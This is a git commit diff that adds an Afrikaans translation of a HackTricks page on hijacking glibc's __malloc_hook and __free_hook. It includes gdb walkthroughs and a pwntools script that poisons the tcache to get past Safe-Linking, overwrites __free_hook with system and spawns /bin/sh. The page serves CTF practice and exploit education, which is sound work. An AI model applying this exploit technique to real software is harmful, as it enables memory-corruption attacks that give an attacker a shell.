Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma

This commit is contained in:
Translator 2025-08-13 18:15:47 +00:00
parent ef6f1c5468
commit 5635cac6ca

View File

@ -1,12 +1,12 @@
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook**
Soos jy kan sien op die [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), is die veranderlike **`__malloc_hook`** 'n pointeur wat na die **adres van 'n funksie wat aangeroep sal word** wanneer `malloc()` aangeroep word **gestoor in die dataseksie van die libc biblioteek**. Daarom, as hierdie adres oorgeskryf word met 'n **One Gadget** byvoorbeeld en `malloc` aangeroep word, sal die **One Gadget aangeroep word**.
Soos jy kan sien op die [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), is die veranderlike **`__malloc_hook`** 'n wysser wat na die **adres van 'n funksie wat aangeroep sal word** wanneer `malloc()` aangeroep word **gestoor in die dataseksie van die libc biblioteek**. Daarom, as hierdie adres oorgeskryf word met 'n **One Gadget** byvoorbeeld en `malloc` aangeroep word, sal die **One Gadget aangeroep word**.
Om malloc aan te roep, is dit moontlik om te wag vir die program om dit aan te roep of deur **`printf("%10000$c")` aan te roep** wat te veel bytes toewys, wat maak dat `libc` malloc aanroep om dit in die heap toe te wys.
Om malloc aan te roep, is dit moontlik om te wag vir die program om dit aan te roep of deur **`printf("%10000$c")` aan te roep** wat te veel bytes toewys, wat `libc` dwing om malloc aan te roep om dit in die heap toe te wys.
Meer inligting oor One Gadget in:
@ -19,7 +19,7 @@ Meer inligting oor One Gadget in:
## Free Hook
Dit is misbruik in een van die voorbeelde op die bladsy wat 'n vinnige bin-aanval misbruik het nadat 'n ongesorteerde bin-aanval misbruik is:
Dit is misbruik in een van die voorbeelde op die bladsy wat 'n vinnige bin-aanval misbruik het nadat 'n onsortering bin-aanval misbruik is:
{{#ref}}
../libc-heap/unsorted-bin-attack.md
@ -29,7 +29,7 @@ Dit is moontlik om die adres van `__free_hook` te vind as die binêre simbole he
```bash
gef➤ p &__free_hook
```
[In die pos](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) kan jy 'n stap-vir-stap gids vind oor hoe om die adres van die free hook sonder simbole te lokaliseer. As opsomming, in die free funksie:
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) kan jy 'n stap-vir-stap gids vind oor hoe om die adres van die free hook sonder simbole te vind. As opsomming, in die free funksie:
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
0xf75dedc0 <free>: push ebx
@ -57,14 +57,79 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- As ons daarin slaag om 'n fast chunk van grootte 0x200 in hierdie ligging te kry, sal dit moontlik wees om 'n funksie-aanwyser te oorskry wat uitgevoer sal word.
- Hiervoor word 'n nuwe chunk van grootte `0xfc` geskep en die saamgevoegde funksie word twee keer met daardie aanwyser aangeroep, sodat ons 'n aanwyser na 'n vrygestelde chunk van grootte `0xfc*2 = 0x1f8` in die fast bin verkry.
- Hiervoor word 'n nuwe chunk van grootte `0xfc` geskep en die saamgevoegde funksie word twee keer met daardie aanwyser aangeroep, op hierdie manier verkry ons 'n aanwyser na 'n vrygestelde chunk van grootte `0xfc*2 = 0x1f8` in die fast bin.
- Dan word die edit funksie in hierdie chunk aangeroep om die **`fd`** adres van hierdie fast bin te wys na die vorige **`__free_hook`** funksie.
- Dan word 'n chunk van grootte `0x1f8` geskep om die vorige nuttelose chunk uit die fast bin te verkry, sodat 'n ander chunk van grootte `0x1f8` geskep word om 'n fast bin chunk in die **`__free_hook`** te kry wat oorgeskryf word met die adres van die **`system`** funksie.
- Dan word 'n chunk van grootte `0x1f8` geskep om die vorige nuttelose chunk uit die fast bin te verkry sodat 'n ander chunk van grootte `0x1f8` geskep kan word om 'n fast bin chunk in die **`__free_hook`** te kry wat oorgeskryf word met die adres van die **`system`** funksie.
- En uiteindelik word 'n chunk wat die string `/bin/sh\x00` bevat, vrygestel deur die delete funksie aan te roep, wat die **`__free_hook`** funksie aktiveer wat na system met `/bin/sh\x00` as parameter wys.
## References
---
## Tcache vergiftiging & Safe-Linking (glibc 2.32 2.33)
glibc 2.32 het **Safe-Linking** bekendgestel 'n integriteitskontrole wat die *enkele*-gekoppelde lyste wat deur **tcache** en fast-bins gebruik word, beskerm. In plaas daarvan om 'n rou vorentoe-aanwyser (`fd`) te stoor, stoor ptmalloc dit nou *obfuscated* met die volgende makro:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
Gevolge van uitbuiting:
1. 'n **heap leak** is verpligtend die aanvaller moet die tydswaarde van `chunk_addr >> 12` weet om 'n geldige obfuscated pointer te vervaardig.
2. Slegs die *volledige* 8-byte pointer kan vervals word; enkel-byte gedeeltelike oorskrywings sal nie die toets slaag nie.
'n Minimale tcache-poisoning primitive wat `__free_hook` op glibc 2.32/2.33 oorskryf, lyk dus soos:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
Die snit hierbo is aangepas van onlangse CTF-uitdagings soos *UIUCTF 2024 «Rusty Pointers»* en *openECSC 2023 «Babyheap G»*, wat albei op Safe-Linking omseilings staatgemaak het om `__free_hook` te oorskry.
---
## Wat het verander in glibc ≥ 2.34?
Begin met **glibc 2.34 (Augustus 2021)** is die toewysingshake `__malloc_hook`, `__realloc_hook`, `__memalign_hook` en `__free_hook` **verwyder uit die openbare API en word nie meer deur die toewysing aangeroep nie**. Kompatibiliteit simbole word steeds uitgevoer vir erfenis-binaries, maar om hulle te oorskry beïnvloed nie meer die beheerstroom van `malloc()` of `free()` nie.
Praktiese implikasie: op moderne verspreidings (Ubuntu 22.04+, Fedora 35+, Debian 12, ens.) moet jy na *ander* kaping primitiewe (IO-FILE, `__run_exit_handlers`, vtable spraying, ens.) oorgaan omdat haak oorskrywings stilweg sal misluk.
As jy steeds die ou gedrag vir foutopsporing benodig, verskaf glibc `libc_malloc_debug.so` wat vooraf gelaai kan word om die erfenis haak te heraktiveer maar die biblioteek is **nie bedoel vir produksie nie en mag in toekomstige vrystellings verdwyn**.
---
## Verwysings
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking Eliminering van 'n 20 jaar oue malloc() eksploit primitief (Check Point Research, 2020)
- glibc 2.34 vrystellingsnotas verwydering van malloc haak
{{#include ../../banners/hacktricks-training.md}}